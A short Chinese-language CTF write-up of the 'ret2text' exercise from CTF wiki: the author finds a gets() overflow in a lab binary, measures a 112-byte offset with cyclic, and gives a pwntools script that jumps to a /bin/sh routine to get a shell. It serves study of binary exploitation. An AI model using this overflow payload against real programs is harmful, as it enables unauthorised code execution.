最近攻防世界和BUUCTF中剩下我没做过的题目已经对于我来说有些困难了
所以我在CTF wiki 里开始学习,顺便再巩固一下基础
老样子,先checksec
放入ida中查看
main函数
发现了gets这个危险函数,接着往下看
用Shift+F12查看
发现了/bin/sh
这里你会看到有两个/bin/sh,但我们需要的是text中的地址
记住 text 中 /bin/sh 的地址 0x804863A
思路有了,我们先计算需要多少个字节能够填满,然后加上我们想要跳转的/bin/sh的地址就可以拿到权限
话不多说,甘蔗!
在做这步之前我先用cyclic命令生成了200个字符
这里可以看出偏移了112个字节
开始写payload
from pwn import *
p=process('./ret2text')
addr_binsh = 0x804863A
payload = 'a' * 112 + p32(addr_binsh)
p.sendline(payload)
p.interactive()
执行一下试试
OK,成功获得shell!